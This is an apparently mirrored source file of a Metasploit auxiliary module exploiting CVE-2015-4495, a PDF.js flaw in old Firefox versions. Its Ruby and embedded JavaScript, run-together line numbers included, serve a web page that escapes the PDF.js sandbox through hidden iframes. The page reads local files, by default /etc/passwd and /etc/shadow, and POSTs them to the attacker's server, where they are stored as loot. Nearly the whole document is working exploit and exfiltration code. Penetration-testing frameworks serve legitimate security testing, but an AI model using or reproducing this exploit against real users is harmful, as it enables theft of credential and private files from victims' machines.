Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report89def initialize(info={})10super(update_info(info,11'Name' => 'Firefox PDF.js Browser File Theft',12'Description' => %q{13This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR1438.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability15occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with16privileges to read local files. The in-the-wild malicious payloads searched for sensitive17files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they18do not use the Mozilla PDF viewer.19},20'Author' => [21'Unknown', # From an 0day served on Russian news website22'fukusa', # Hacker news member that reported the issue23'Unknown' # Metasploit module24],25'License' => MSF_LICENSE,26'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],27'PassiveActions' => [ 'WebServer' ],28'References' =>29[30['URL', 'https://paste.debian.net/290146'], # 0day exploit31['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer32['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],33['CVE', '2015-4495']34],35'DefaultAction' => 'WebServer'36))3738register_options([39OptString.new('FILES', [40false,41'Comma-separated list of files to steal',42'/etc/passwd, /etc/shadow'43])44])4546register_advanced_options([47OptInt.new('PER_FILE_SLEEP', [48false,49'Milliseconds to wait before attempting to read the frame containing each file',5025051])52])53end5455def run56print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")57exploit58end5960def on_request_uri(cli, request)61if request.method.downcase == 'post'62print_status('Got POST request...')63process_post(cli, request)64send_response_html(cli, '')65else66print_status('Sending exploit...')67send_response_html(cli, html)68end69end7071def process_post(cli, req)72name = req.qstring['name']73print_good("Received #{name}, size #{req.body.bytes.length}...")74output = store_loot(75name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'76)77print_good("Stored to #{output}")78end7980def html81exploit_js = js + file_payload + '}, 20);'8283"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"84end8586def backend_url87proto = (datastore['SSL'] ? 'https' : 'http')88my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']89port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"90resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource9192"#{proto}://#{my_host}#{port_str}#{resource}/catch"93end949596def file_payload97%Q|98var files = (#{JSON.generate(file_urls)});99function next() {100var f = files.pop();101if (f) {102get("file://"+f, function() {103var data = get_data(this);104var x = new XMLHttpRequest;105x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));106x.send(data);107}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);108setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);109}110}111next();112|113end114115def file_urls116datastore['FILES'].split(',').map(&:strip)117end118119def js120<<-EOJS121function xml2string(obj) {122return new XMLSerializer().serializeToString(obj);123}124125function __proto(obj) {126return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;127}128129function get(path, callback, timeout, template, value) {130callback = _(callback);131if (template && value) {132callback = callback.replace(template, value);133}134js_call1 = 'javascript:' + _(function() {135try {136open("%url%", "_self");137} catch (e) {138history.back();139}140undefined;141}, "%url%", path);142js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';143sandboxContext(_(function() {144i = document.getElementById('i');145p = __proto(i.contentDocument.styleSheets[0].ownerNode);146i2 = document.getElementById('i2');147l = p.__lookupSetter__.call(i2.contentWindow, 'location');148l.call(i2.contentWindow, window.wrappedJSObject.js_call1);149}));150setTimeout((function() {151sandboxContext(_(function() {152p = __proto(i.contentDocument.styleSheets[0].ownerNode);153l = p.__lookupSetter__.call(i2.contentWindow, 'location');154l.call(i2.contentWindow, window.wrappedJSObject.js_call2);155}));156}), timeout);157}158159function get_data(obj) {160data = null;161try {162data = obj.document.documentElement.innerHTML;163if (data.indexOf('dirListing') < 0) {164throw new Error();165}166} catch (e) {167if (this.document instanceof XMLDocument) {168data = xml2string(this.document);169} else {170try {171if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {172data = this.document.body.firstChild.textContent;173} else {174throw new Error();175}176} catch (e) {177try {178if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;179return null;180} else {181throw new Error();182}183} catch (e) {184;;185}186}187}188}189return data;190}191192function _(s, template, value) {193s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];194s = s.substring(0, s.length - 1);195if (template && value) {196s = s.replace(template, value);197}198s += __proto;199s += xml2string;200s += get_data;201s = s.replace(/\\s\\/\\/.*\\n/g, "");202s = s + ";undefined";203return s;204}205206function get_sandbox_context() {207if (window.my_win_id == null) {208for (var i = 0; i < 20; i++) {209try {210if (window[i].location.toString().indexOf("view-source:") != -1) {211my_win_id = i;212break;213}214} catch (e) {}215}216};217if (window.my_win_id == null)218return;219clearInterval(sandbox_context_i);220object.data = 'view-source:' + blobURL;221window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';222object.data = 'data:text/html,<'+'html/>';223window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+224'"position:absolute; left:-9999px;" onload = "'+_(function(){225window.wrappedJSObject.sandboxContext=(function(cmd) {226with(importFunction.constructor('return this')()) {227return eval(cmd);228}229});230}) + '"/>');231}232233234var i = document.createElement("iframe");235i.id = "i";236i.width=i.height=0;237i.style='position:absolute;left:-9999px;';238i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";239document.documentElement.appendChild(i);240i.onload = function() {241if (this.contentDocument.styleSheets.length > 0) {242var i2 = document.createElement("iframe");243i2.id = "i2";244i2.width=i2.height=0;245i2.style='position:absolute;left:-9999px;';246i2.src = "data:application/pdf,";247document.documentElement.appendChild(i2);248pdfBlob = new Blob([''], {249type: 'application/pdf'250});251blobURL = URL.createObjectURL(pdfBlob);252object = document.createElement('object');253object.data = 'data:application/pdf,';254object.onload = (function() {255sandbox_context_i = setInterval(get_sandbox_context, 200);256object.onload = null;257object.data = 'view-source:' + location.href;258return;259});260document.documentElement.appendChild(object);261} else {262this.contentWindow.location.reload();263}264}265266var kill = setInterval(function() {267if (window.sandboxContext) {268clearInterval(kill);269} else {270return;271}272EOJS273end274end275276277